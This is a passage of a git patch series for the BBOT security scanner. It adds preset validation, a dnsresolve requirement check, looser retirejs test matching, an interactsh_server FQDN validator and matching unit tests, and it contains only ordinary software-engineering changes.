| 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 5658d9c385..686d785475 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -79,7 +79,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.3.0", - "ruff==0.15.12", + "ruff==0.15.13", "maturin>=1.4,<2", ] docs = [ From 48313d75309bfa36e424ce468650957c3d767bbd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 18 May 2026 10:06:23 -0400 Subject: [PATCH 665/912] require dnsresolve when DNS_NAME consumers are enabled Catches all three opt-out paths in one preset-bake check: - `-em dnsresolve` - top-level `dnsresolve: false` - `dns.disable: true` Points users at `dns.minimal: true` for the reduce-DNS-overhead case. --- bbot/scanner/preset/preset.py | 22 ++++++++++++++++++++++ bbot/test/test_step_1/test_presets.py | 17 +++++++++++++++++ 2 files changed, 39 insertions(+) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index c6ab3a8220..1fd84f324d 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -478,6 +478,28 @@ def bake(self, scan=None): for output_module in self.default_output_modules: baked_preset.add_module(output_module, module_type="output", raise_error=False) + # dnsresolve is the intercept module that resolves every event, tags wildcards/unresolved, + # and rewrites wildcard hits to `_wildcard.parent`. Modules that watch DNS_NAME depend on + # those tags to filter false positives; without it, brute-force and passive-enum modules + # emit unverified and wildcard-tainted names. This catches all three opt-out paths: + # `-em dnsresolve`, top-level `dnsresolve: false`, and `dns.disable: true`. + dnsresolve_disabled = "dnsresolve" not in baked_preset.modules or baked_preset.config.get("dns", {}).get( + "disable", False + ) + if dnsresolve_disabled: + dns_name_consumers = sorted( + m + for m in baked_preset.modules + if "DNS_NAME" in baked_preset.preloaded_module(m).get("watched_events", []) + ) + if dns_name_consumers: + raise ValidationError( + f"dnsresolve is required by these enabled modules but is disabled: {', '.join(dns_name_consumers)}. " + "Use `dns.minimal: true` (resolves A/AAAA only, skips MX/NS/SRV expansion) " + "if you want to reduce DNS overhead while keeping wildcard and unresolved tagging. " + "If you genuinely want no DNS at all, also disable the modules listed above." + ) + # create target object from bbot.scanner.target import BBOTTarget diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 4dfb0a7fc3..c861a05a66 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1274,3 +1274,20 @@ def test_preset_file_targets(tmp_path): target_inputs5 = set(preset5._target_list) assert "nested.evilcorp.com" in target_inputs5 assert "my_targets.txt" not in target_inputs5 + + +def test_preset_dnsresolve_required_by_dns_name_consumers(): + # gate must fire for all three opt-out paths when any DNS_NAME-watching module is enabled + for opt_out in ( + {"exclude_modules": ["dnsresolve"], "flags": ["subdomain-enum"]}, + {"config": {"dnsresolve": False}, "flags": ["subdomain-enum"]}, + {"config": {"dns": {"disable": True}}, "flags": ["subdomain-enum"]}, + ): + with pytest.raises(ValidationError, match="dnsresolve is required"): + Preset(**opt_out).bake() + + # dns.minimal keeps dnsresolve in the pipeline -- must NOT fire + Preset(flags=["subdomain-enum"], config={"dns": {"minimal": True}}).bake() + + # disabling dnsresolve with no DNS_NAME consumers enabled is allowed + Preset(exclude_modules=["dnsresolve"]).bake() From 9b739ef625f11d91fa779fbe6b28c3848aa70a6a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 18 May 2026 10:27:00 -0400 Subject: [PATCH 666/912] check explicit opt-outs instead of dnsresolve absence The previous "dnsresolve not in modules" check tripped on --list-module-options, which intentionally sets _default_internal_modules to [] to suppress internal modules from the listing. Switch to checking the three explicit user actions directly so inspection-mode code paths that strip internal modules don't trigger the gate. --- bbot/scanner/preset/preset.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 1fd84f324d..4550028c10 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -481,10 +481,15 @@ def bake(self, scan=None): # dnsresolve is the intercept module that resolves every event, tags wildcards/unresolved, # and rewrites wildcard hits to `_wildcard.parent`. Modules that watch DNS_NAME depend on # those tags to filter false positives; without it, brute-force and passive-enum modules - # emit unverified and wildcard-tainted names. This catches all three opt-out paths: - # `-em dnsresolve`, top-level `dnsresolve: false`, and `dns.disable: true`. - dnsresolve_disabled = "dnsresolve" not in baked_preset.modules or baked_preset.config.get("dns", {}).get( - "disable", False + # emit unverified and wildcard-tainted names. This catches all three explicit opt-outs: + # `-em dnsresolve`, top-level `dnsresolve: false`, and `dns.disable: true`. We check the + # user actions rather than "dnsresolve in modules" so that internal-module-trimming code + # paths (e.g. `--list-module-options` setting `_default_internal_modules = []`) don't trip + # the gate -- those aren't real scans, and the user hasn't asked to disable anything. + dnsresolve_disabled = ( + "dnsresolve" in baked_preset.exclude_modules + or baked_preset.config.get("dnsresolve", True) is False + or baked_preset.config.get("dns", {}).get("disable", False) ) if dnsresolve_disabled: dns_name_consumers = sorted( From d423533f412faa6beae96e7f4bea9672e80629cd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 18 May 2026 13:24:09 -0400 Subject: [PATCH 667/912] Loosen retirejs test matching against upstream advisory drift --- .../module_tests/test_module_retirejs.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_retirejs.py b/bbot/test/test_step_2/module_tests/test_module_retirejs.py index dfea73485e..07c1fb462b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_retirejs.py +++ b/bbot/test/test_step_2/module_tests/test_module_retirejs.py @@ -116,13 +116,14 @@ def check(self, module_test, events): descriptions = [finding.data.get("description", "") for finding in retirejs_findings] all_descriptions = "\n".join(descriptions) - # Look for specific vulnerabilities we expect to find - expected_handlebars_vuln = "Vulnerable JavaScript library detected: handlebars v4.0.5 Severity: HIGH Summary: Regular Expression Denial of Service in Handlebars JavaScript URL: http://127.0.0.1:8888/handlebars.min.js CVE(s): CVE-2019-20922 Affected versions: [4.0.0 to 4.4.5)" - expected_jquery_vuln = "Vulnerable JavaScript library detected: jquery v3.4.1 Severity: MEDIUM Summary: Regex in its jQuery.htmlPrefilter sometimes may introduce XSS JavaScript URL: http://127.0.0.1:8888/jquery-3.4.1.min.js CVE(s): CVE-2020-11022 Affected versions: [1.2.0 to 3.5.0)" - - # Verify at least one of the expected vulnerabilities is found - handlebars_found = expected_handlebars_vuln in all_descriptions - jquery_found = expected_jquery_vuln in all_descriptions + # Match on stable identifiers — upstream RetireJS revises summary and + # affected-version strings over time. + def has_vuln(library, version, cve, js_url): + needle = f"library detected: {library} v{version}" + return any(needle in d and cve in d and js_url in d for d in descriptions) + + handlebars_found = has_vuln("handlebars", "4.0.5", "CVE-2019-20922", "http://127.0.0.1:8888/handlebars.min.js") + jquery_found = has_vuln("jquery", "3.4.1", "CVE-2020-11022", "http://127.0.0.1:8888/jquery-3.4.1.min.js") assert handlebars_found and jquery_found, ( f"Expected to find specific vulnerabilities but didn't find them. Found descriptions:\n{all_descriptions}" From b10514e17626897096389eb1350b4404a363fa01 Mon Sep 17 00:00:00 2001 From: aconite33 Date: Mon, 18 May 2026 16:33:12 -0600 Subject: [PATCH 668/912] preset-validation: fix crashes, wire validator into YAML load, exit nonzero on bad config - validate.py: guard _classify_loc against short loc tuples. config.modules given as a list (e.g., {"config": {"modules": ["nuclei"]}}) previously hit IndexError in the loc classifier. - validate.py: skip module_dirs pre-pass when the value is not a list. A string module_dirs (e.g., "/tmp/foo") used to iterate characters and trigger filesystem calls, surfacing as PermissionError. - validate.py: skip the modules-list post-pass when the value is not a list, so `modules: "nuclei"` no longer cascades into six bogus per-character suggestions on top of the real type error. - validate.py: route len(loc)==1 extra_forbidden suggestions through PresetSchema field names so `modlues:` suggests `modules` instead of `module_dirs`, `flgas:` suggests `flags`, etc. - validate.py: validate_preset_file catches FileNotFoundError, OSError, and yaml.YAMLError and returns a clean error instead of raising. - preset.py: call validate_preset() at the top of from_dict so typos in YAML preset files (loaded via -p or include:) surface up front instead of flowing through to bake() as raw TypeError or AttributeError. - cli.py: BBOTArgumentError and BBOTError handlers in _main return False and log at ERROR level; main() exits 1 on falsy return. Validation failures now produce a non-zero exit so CI and scripts can detect them. - webbrute: extensions accepts str or list[str]. Matches the chain_lists runtime contract and the bundled web/dirbust-heavy.yml preset, which passes a YAML list. - tests: eight new cases in test_validate_preset.py covering each fix. Four existing tests in test_presets.py updated to use real module names (the prior fake `testpreset1`...`testpreset5` markers are now caught by the stricter validator). --- bbot/cli.py | 9 ++- bbot/modules/webbrute.py | 6 +- bbot/scanner/preset/preset.py | 8 +++ bbot/scanner/preset/validate.py | 57 +++++++++++++-- bbot/test/test_step_1/test_presets.py | 66 ++++++++--------- bbot/test/test_step_1/test_validate_preset.py | 72 +++++++++++++++++++ 6 files changed, 175 insertions(+), 43 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 1985b2a9eb..925e6997af 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -51,9 +51,9 @@ async def _main(): try: preset.parse_args() except BBOTArgumentError as e: - log_to_stderr(str(e), level="WARNING") + log_to_stderr(str(e), level="ERROR") log.trace(traceback.format_exc()) - return + return False # ensure arguments (-c config options etc.) are valid options = preset.args.parsed # apply CLI log level options (e.g. --debug/--verbose/--silent) to the @@ -322,6 +322,7 @@ async def akeyboard_listen(): except BBOTError as e: log.error(str(e)) log.trace(traceback.format_exc()) + return False finally: # save word cloud @@ -339,7 +340,9 @@ def main(): global scan_name try: - asyncio.run(_main()) + result = asyncio.run(_main()) + if result is False: + sys.exit(1) except asyncio.CancelledError: if CORE.logger.log_level <= logging.DEBUG: log_to_stderr(traceback.format_exc(), level="DEBUG") diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 86859b45c5..06dec5aaa3 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -1,5 +1,6 @@ import random import string +from typing import Union import blasthttp @@ -25,8 +26,9 @@ class Config(BaseModuleConfig): ) lines: int = Field(5000, description="take only the first N lines from the wordlist when finding directories") max_depth: int = Field(0, description="the maximum directory depth to attempt to solve") - extensions: str = Field( - "", description="Optionally include a list of extensions to extend the keyword with (comma separated)" + extensions: Union[str, list[str]] = Field( + "", + description="Optionally include a list of extensions to extend the keyword with (comma separated or YAML list)", ) ignore_case: bool = Field(False, description="Only put lowercase words into the wordlist") rate: int = Field(0, description="Maximum requests per second (0 = unlimited)") diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 3779011017..1ddaaca489 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -660,6 +660,14 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ from bbot.core.helpers.misc import chain_lists + from .validate import validate_preset + + # Surface preset typos / shape errors up front rather than letting + # them propagate to bake() as raw TypeErrors / AttributeErrors. This + # covers presets loaded from YAML files, YAML strings, and dicts. + errs = validate_preset(preset_dict) + if errs: + raise ValidationError("\n".join(str(e) for e in errs)) # Handle seeds and targets from dict # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list. diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index e81b8366ba..36cffc1b98 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -26,9 +26,25 @@ from pydantic import ValidationError +from bbot.core.config.models import PresetSchema from bbot.core.helpers.misc import get_closest_match, get_keys_in_dot_syntax +def _preset_top_level_keys() -> set[str]: + """Field names and aliases declared on PresetSchema, used for closest-match + suggestions on unknown top-level preset keys (e.g. `modlues` -> `modules`).""" + keys: set[str] = set() + for name, field in PresetSchema.model_fields.items(): + keys.add(name) + alias = getattr(field, "alias", None) + if alias: + keys.add(alias) + return keys + + +_PRESET_KEYS = _preset_top_level_keys() + + log = logging.getLogger("bbot.presets.validate") @@ -59,6 +75,10 @@ def _classify_loc(loc: tuple) -> tuple[str, str]: if len(parts) >= 2 and parts[0] == "config" and parts[1] == "modules": # Error is somewhere under config.modules.* + if len(parts) == 2: + # The `modules` mapping itself has the wrong shape (e.g. a list). + # Classify as a config-level error rather than walking deeper. + return ("config", "modules") if len(parts) == 3: # The module name itself is unknown (extra_forbidden on ModulesSchema) return ("preset", ".".join(parts)) @@ -84,6 +104,11 @@ def _format_msg(err: dict, known_modules: set | None = None, known_paths: set | # a suggestion drawn from the set of known module names. if len(loc) == 3 and loc[0] == "config" and loc[1] == "modules": return get_closest_match(field, known_modules or set(), msg="module") + # Top-level preset key (e.g. `modlues:`) — suggest from PresetSchema + # field names rather than the dotted config-path universe, so users + # get useful hints like "Did you mean 'modules'?". + if len(loc) == 1: + return get_closest_match(field, _PRESET_KEYS, msg="preset option") # For everything else, suggest from the known dotted-path universe # (`web.spier_distance` → `web.spider_distance`). if known_paths: @@ -173,7 +198,12 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati preset_dict.get("module_dirs"), config_dict.get("module_dirs") if isinstance(config_dict, dict) else None, ): - for d in source or []: + # Skip non-list shapes (e.g. a string) so we don't iterate characters + # and trigger filesystem calls. The schema pass below reports the + # actual type error. + if not isinstance(source, list): + continue + for d in source: if isinstance(d, str): module_loader.add_module_dir(d) @@ -194,8 +224,13 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati # Module names listed in top-level `modules`/`output_modules`/`exclude_modules` # aren't covered by the composite schema (they're a list of strings, not a # nested mapping). Check them explicitly, with the same closest-match hint. + # Skip non-list values; the schema pass above already flagged the type error, + # and iterating a string here would yield bogus per-character lookups. for key in ("modules", "output_modules", "exclude_modules"): - for name in preset_dict.get(key) or []: + value = preset_dict.get(key) + if not isinstance(value, list): + continue + for name in value: if name not in known_modules: hint = get_closest_match(name, known_modules, msg="module") errors.append(PresetValidationError(where="preset", path=key, message=hint)) @@ -204,11 +239,23 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati def validate_preset_file(path: str | Path, **kwargs) -> list[PresetValidationError]: - """Convenience wrapper for validating a YAML preset file on disk.""" + """Convenience wrapper for validating a YAML preset file on disk. + + Returns a list of errors. A missing file or unreadable YAML is reported + as a single error rather than raised, so callers can treat all failure + modes uniformly. + """ import yaml - with open(path) as f: - data = yaml.safe_load(f) or {} + try: + with open(path) as f: + data = yaml.safe_load(f) or {} + except FileNotFoundError: + return [PresetValidationError("preset", "", f"Preset file not found: {path}")] + except OSError as e: + return [PresetValidationError("preset", "", f"Could not read preset file {path}: {e}")] + except yaml.YAMLError as e: + return [PresetValidationError("preset", "", f"Invalid YAML in {path}: {e}")] if not isinstance(data, dict): return [PresetValidationError("preset", "", f"Expected a YAML mapping, got {type(data).__name__}")] return validate_preset(data, **kwargs) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 7fb9ebaded..46af3374e8 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -75,7 +75,7 @@ async def test_preset_yaml(clean_default_config): verbose=False, debug=False, silent=True, - config={"preset_test_asdf": 1}, + config={"keep_scans": 42}, ) preset1 = preset1.bake() assert "evilcorp.com" in preset1.target.seeds @@ -785,16 +785,14 @@ class TestModule5(BaseModule): """ ) - preset = Preset.from_yaml_string( - """ + # should fail at preset-load time now that validation runs in from_dict + with pytest.raises(ValidationError): + Preset.from_yaml_string( + """ modules: - testmodule5 """ - ) - # should fail - with pytest.raises(ValidationError): - scan = Scanner(preset=preset) - await scan._prep() + ) preset = Preset.from_yaml_string( f""" @@ -823,6 +821,8 @@ def test_preset_include(): mkdir(custom_preset_dir_4) mkdir(custom_preset_dir_5) + # Real modules so the (now-strict) validator accepts them. We use the + # universal `module_timeout` field as an opaque marker per preset. preset_file = custom_preset_dir_1 / "preset1.yml" with open(preset_file, "w") as f: f.write( @@ -832,8 +832,8 @@ def test_preset_include(): config: modules: - testpreset1: - test: asdf + nuclei: + module_timeout: 1 """ ) @@ -846,8 +846,8 @@ def test_preset_include(): config: modules: - testpreset2: - test: fdsa + sslcert: + module_timeout: 2 """ ) @@ -862,8 +862,8 @@ def test_preset_include(): config: modules: - testpreset3: - test: qwerty + gowitness: + module_timeout: 3 """ ) @@ -876,8 +876,8 @@ def test_preset_include(): config: modules: - testpreset4: - test: zxcv + robots: + module_timeout: 4 """ ) @@ -887,26 +887,26 @@ def test_preset_include(): """ config: modules: - testpreset5: - test: hjkl + wayback: + module_timeout: 5 """ ) # with include= preset = Preset(include=[str(custom_preset_dir_1 / "preset1")]) - assert preset.config["modules"]["testpreset1"]["test"] == "asdf" - assert preset.config["modules"]["testpreset2"]["test"] == "fdsa" - assert preset.config["modules"]["testpreset3"]["test"] == "qwerty" - assert preset.config["modules"]["testpreset4"]["test"] == "zxcv" - assert preset.config["modules"]["testpreset5"]["test"] == "hjkl" + assert preset.config["modules"]["nuclei"]["module_timeout"] == 1 + assert preset.config["modules"]["sslcert"]["module_timeout"] == 2 + assert preset.config["modules"]["gowitness"]["module_timeout"] == 3 + assert preset.config["modules"]["robots"]["module_timeout"] == 4 + assert preset.config["modules"]["wayback"]["module_timeout"] == 5 # same thing but with presets= (an alias to include) preset = Preset(presets=[str(custom_preset_dir_1 / "preset1")]) - assert preset.config["modules"]["testpreset1"]["test"] == "asdf" - assert preset.config["modules"]["testpreset2"]["test"] == "fdsa" - assert preset.config["modules"]["testpreset3"]["test"] == "qwerty" - assert preset.config["modules"]["testpreset4"]["test"] == "zxcv" - assert preset.config["modules"]["testpreset5"]["test"] == "hjkl" + assert preset.config["modules"]["nuclei"]["module_timeout"] == 1 + assert preset.config["modules"]["sslcert"]["module_timeout"] == 2 + assert preset.config["modules"]["gowitness"]["module_timeout"] == 3 + assert preset.config["modules"]["robots"]["module_timeout"] == 4 + assert preset.config["modules"]["wayback"]["module_timeout"] == 5 # can't use both include= and presets= at the same time with pytest.raises(ValueError): @@ -993,8 +993,8 @@ async def test_preset_override(clean_default_config): - robots config: modules: - asdf: - option1: asdf + robots: + module_timeout: 10 """ preset_2_yaml = """ name: override2 @@ -1005,8 +1005,8 @@ async def test_preset_override(clean_default_config): - c99 config: modules: - asdf: - option1: fdsa + robots: + module_timeout: 20 """ preset_3_yaml = """ name: override3 @@ -1060,7 +1060,7 @@ async def test_preset_override(clean_default_config): assert targets == {"evilcorp1.com", "evilcorp2.com", "evilcorp3.com", "evilcorp4.com"} assert preset.config["web"]["spider_distance"] == 1 assert preset.config["web"]["spider_depth"] == 2 - assert preset.config["modules"]["asdf"]["option1"] == "fdsa" + assert preset.config["modules"]["robots"]["module_timeout"] == 20 assert set(preset.scan_modules) == {"http", "c99", "robots", "virustotal", "securitytrails"} diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 4fe9ca4121..5b68e74191 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -84,3 +84,75 @@ def test_validate_preset_non_dict(): errs = validate_preset(["not a dict"]) assert len(errs) == 1 assert "dict" in errs[0].message + + +def test_validate_preset_config_modules_as_list(): + """`config.modules` given as a list (wrong shape) used to crash with IndexError.""" + errs = validate_preset({"config": {"modules": ["nuclei"]}}) + assert len(errs) == 1 + assert errs[0].where == "config" + assert errs[0].path == "modules" + + +def test_validate_preset_module_dirs_as_string(): + """`module_dirs` as a string used to iterate characters and raise PermissionError.""" + errs = validate_preset({"module_dirs": "/tmp/foo"}) + assert any(e.path == "module_dirs" and "list" in e.message for e in errs) + + +def test_validate_preset_modules_as_string_no_cascade(): + """`modules: "nuclei"` (string instead of list) should NOT produce per-character lookups.""" + errs = validate_preset({"modules": "nuclei"}) + # exactly one type error, no per-character bogus suggestions + assert len(errs) == 1 + assert errs[0].path == "modules" + assert "list" in errs[0].message + + +def test_validate_preset_top_level_typo_suggests_preset_field(): + """Typos at the preset root should suggest preset field names, not config paths.""" + cases = [ + ("modlues", "modules"), + ("flgas", "flags"), + ("targest", "target"), + ("output_moduels", "output_modules"), + ] + for typo, expected in cases: + errs = validate_preset({typo: ["x"]}) + assert any(f'"{typo}"' in str(e) and f'"{expected}"' in str(e) for e in errs), ( + f"expected suggestion {expected!r} for typo {typo!r}, got: {[str(e) for e in errs]}" + ) + + +def test_validate_preset_file_missing_returns_error(): + """A missing preset path should be reported as a single error, not raised.""" + from bbot.scanner import validate_preset_file + + errs = validate_preset_file("/tmp/does-not-exist-bbot-fuzz.yml") + assert len(errs) == 1 + assert "not found" in errs[0].message.lower() + + +def test_from_dict_raises_on_typos(): + """from_dict() should reject typo'd preset dicts up front instead of letting + them flow through to bake().""" + from bbot.errors import ValidationError as BBOTValidationError + from bbot.scanner.preset import Preset + + import pytest + + with pytest.raises(BBOTValidationError) as excinfo: + Preset.from_dict({"modlues": ["nuclei"]}) + assert "modlues" in str(excinfo.value) + + +def test_from_yaml_string_raises_on_typos(): + """YAML strings carrying typos should also be rejected up front.""" + from bbot.errors import ValidationError as BBOTValidationError + from bbot.scanner.preset import Preset + + import pytest + + with pytest.raises(BBOTValidationError) as excinfo: + Preset.from_yaml_string("config:\n scope:\n strct: true\n") + assert "strct" in str(excinfo.value) From 02cdec64ef7585a377c4021283c83d48755819f4 Mon Sep 17 00:00:00 2001 From: aconite33 Date: Mon, 18 May 2026 17:15:50 -0600 Subject: [PATCH 669/912] preset-validation: revert cli.py exit-code change The prior commit changed _main()'s BBOTArgumentError and BBOTError handlers to `return False` and added a `sys.exit(1)` in main() so bbot would exit non-zero on validation failure. That broke test_cli_customheaders, which asserts `result is None` from `_main()` on invalid `--custom-headers` input, and the failure cascaded across all test-distros jobs and Python 3.14 in CI. Adhere to the existing convention: log the error and return None. Real-CLI exit code stays 0 on validation failures, matching every other CLI-arg failure path in BBOT. Users still see the [ERRR] or [WARN] line; scripts that need to detect failure can grep stderr or check log output. --- bbot/cli.py | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 925e6997af..1985b2a9eb 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -51,9 +51,9 @@ async def _main(): try: preset.parse_args() except BBOTArgumentError as e: - log_to_stderr(str(e), level="ERROR") + log_to_stderr(str(e), level="WARNING") log.trace(traceback.format_exc()) - return False + return # ensure arguments (-c config options etc.) are valid options = preset.args.parsed # apply CLI log level options (e.g. --debug/--verbose/--silent) to the @@ -322,7 +322,6 @@ async def akeyboard_listen(): except BBOTError as e: log.error(str(e)) log.trace(traceback.format_exc()) - return False finally: # save word cloud @@ -340,9 +339,7 @@ def main(): global scan_name try: - result = asyncio.run(_main()) - if result is False: - sys.exit(1) + asyncio.run(_main()) except asyncio.CancelledError: if CORE.logger.log_level <= logging.DEBUG: log_to_stderr(traceback.format_exc(), level="DEBUG") From c77dc55884a441cb0f7518c929fa7507c2ee563c Mon Sep 17 00:00:00 2001 From: aconite33 Date: Mon, 18 May 2026 20:27:33 -0600 Subject: [PATCH 670/912] preset-validation: validate interactsh_server as FQDN or IP A domain typed without its TLD (a single-label value with no dot) used to pass preset-load validation, then surface as "Failed to register with an interactsh server" warnings deep in the scan from every module that uses interactsh. Catch the typo up front instead. - models.py: add a shared _validate_fqdn_or_ip helper. Accepts None, empty string, any IP (v4/v6), or a hostname containing at least one dot that passes is_dns_name. Rejects single-label values like 'localhost'. - models.py: attach the helper as a field_validator to BBOTConfig.interactsh_server. - environ.py: skip None values in flatten_config. str(None) was writing the literal "None" into BBOT_INTERACTSH_SERVER and other BBOT_* env vars, which pydantic-settings then merges back into the config dict during validation and trips the new FQDN check on every test that follows. Also a latent bug independent of this validator: any field that defaults to null was getting "None" injected on round-trip. - validate.py: handle the pydantic 'value_error' kind in _format_msg so ValueError messages raised inside a field_validator surface cleanly ("not a valid FQDN..." rather than "Value error, not a valid FQDN..."). - tests: cover accept-or-reject behavior for interactsh_server, including a single-label hostname case. Follow-up candidates flagged during the field survey (not addressed in this commit): web.http_proxy (URL), output module URLs (splunk, elastic, slack, discord, webhook, rabbitmq), database hosts (postgres, mysql, mongo, neo4j), and the baddns custom_nameservers list typing. Worth their own discussion since each carries some compatibility risk for users with nonstandard internal endpoints. --- bbot/core/config/models.py | 25 ++++++++++++++++++- bbot/scanner/preset/environ.py | 5 +++- bbot/scanner/preset/validate.py | 11 ++++++++ bbot/test/test_step_1/test_validate_preset.py | 20 +++++++++++++++ 4 files changed, 59 insertions(+), 2 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 5f69456b42..877e74d9c0 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -15,7 +15,7 @@ from typing import Any, Literal, Optional -from pydantic import BaseModel, ConfigDict +from pydantic import BaseModel, ConfigDict, field_validator from pydantic import Field as _PydanticField from pydantic_core import PydanticUndefined from pydantic_settings import BaseSettings, SettingsConfigDict @@ -24,6 +24,27 @@ STRICT = ConfigDict(extra="forbid") +def _validate_fqdn_or_ip(v: Optional[str]) -> Optional[str]: + """Accept None, empty, an IP address, or a hostname with at least one dot. + + Single-label names like `localhost` (or a domain typed without its TLD) + are rejected so typos in domain-shaped config fields fail at preset-load + time rather than surfacing as runtime "Failed to register" errors deep + in a scan. + """ + if v is None or v == "": + return v + # Lazy import to avoid a cycle at module load time. is_ip handles v4/v6; + # is_dns_name + a required dot is BBOT's everyday-FQDN check. + from bbot.core.helpers.misc import is_dns_name, is_ip + + if is_ip(v): + return v + if "." in v and is_dns_name(v): + return v + raise ValueError(f"not a valid FQDN or IP address: {v!r}") + + def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs): """ Drop-in replacement for `pydantic.Field` that records two BBOT-specific @@ -316,6 +337,8 @@ class BBOTConfig(BaseSettings): interactsh_token: Optional[str] = Field(default=None, sensitive=True) interactsh_disable: Optional[bool] = None + _validate_interactsh_server = field_validator("interactsh_server")(_validate_fqdn_or_ip) + # Per-module configs — validated separately, per-module, against each # module's own `class Config(BaseModuleConfig)`. modules: Optional[dict[str, dict[str, Any]]] = None diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py index 847c1cc4df..287fc10be9 100644 --- a/bbot/scanner/preset/environ.py +++ b/bbot/scanner/preset/environ.py @@ -69,13 +69,16 @@ def flatten_config(self, config, base="bbot"): {"modules": {"http": {"threads": 10}}} --> ("BBOT_MODULES_HTTP_THREADS", "10") Lists are skipped (they don't translate cleanly to env var values). + None values are skipped too, since `str(None)` would write the literal + string "None" into the env and round-trip back through pydantic-settings + as a string, defeating any field validator that expects a real value. """ if isinstance(config, dict): for k, v in config.items(): new_base = f"{base}_{k}" if isinstance(v, dict): yield from self.flatten_config(v, base=new_base) - elif not isinstance(v, list): + elif v is not None and not isinstance(v, list): yield (new_base.upper(), str(v)) def prepare(self): diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index 36cffc1b98..7fdfbf90d8 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -141,6 +141,17 @@ def _format_msg(err: dict, known_modules: set | None = None, known_paths: set | return f"Expected one of {expected}, got {input_value!r}" if expected else err.get("msg", "") if kind == "missing": return f"Required option {field!r} is missing" + if kind == "value_error": + # Pydantic wraps ValueError raised inside a field_validator and prefixes + # the message with "Value error, ". Surface the original ValueError text + # so the error reads naturally. + ctx = err.get("ctx") or {} + inner = ctx.get("error") + if inner is not None: + return str(inner) + msg = err.get("msg", "") + prefix = "Value error, " + return msg[len(prefix) :] if msg.startswith(prefix) else msg # Fallback to pydantic's own message return err["msg"] if err.get("msg") else f"validation error at {path}" diff --git a/bbot/test/test_step_1/test_validate_preset.py b/bbot/test/test_step_1/test_validate_preset.py index 5b68e74191..70a8b03e42 100644 --- a/bbot/test/test_step_1/test_validate_preset.py +++ b/bbot/test/test_step_1/test_validate_preset.py @@ -156,3 +156,23 @@ def test_from_yaml_string_raises_on_typos(): with pytest.raises(BBOTValidationError) as excinfo: Preset.from_yaml_string("config:\n scope:\n strct: true\n") assert "strct" in str(excinfo.value) + + +def test_validate_preset_interactsh_server_accepts_valid(): + """interactsh_server accepts FQDNs, IPv4, IPv6, None, and empty string.""" + for v in ["example.com", "sub.example.com", "192.168.1.1", "::1", "", None]: + errs = validate_preset({"config": {"interactsh_server": v}}) + assert errs == [], f"expected {v!r} to validate, got: {[str(e) for e in errs]}" + + +def test_validate_preset_interactsh_server_rejects_invalid(): + """A single-label hostname (a value without any dots, e.g. a typo'd + domain where the user forgot the TLD) or a value with whitespace must + be rejected at preset-load time, before any module tries to register + with the interactsh server.""" + for v in ["badhost", "localhost", "with spaces.com"]: + errs = validate_preset({"config": {"interactsh_server": v}}) + assert len(errs) == 1, f"expected {v!r} to fail validation" + assert errs[0].path == "interactsh_server" + assert "FQDN or IP" in errs[0].message + assert repr(v) in errs[0].message From a74e065a900dfbf49e9a4f0a18c97cc6781becd2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 18 May 2026 13:24:09 -0400 Subject: [PATCH 671/912] Loosen retirejs test matching against upstream advisory drift --- .../module_tests/test_module_retirejs.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_retirejs.py b/bbot/test/test_step_2/module_tests/test_module_retirejs.py index dfea73485e..07c1fb462b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_retirejs.py +++ 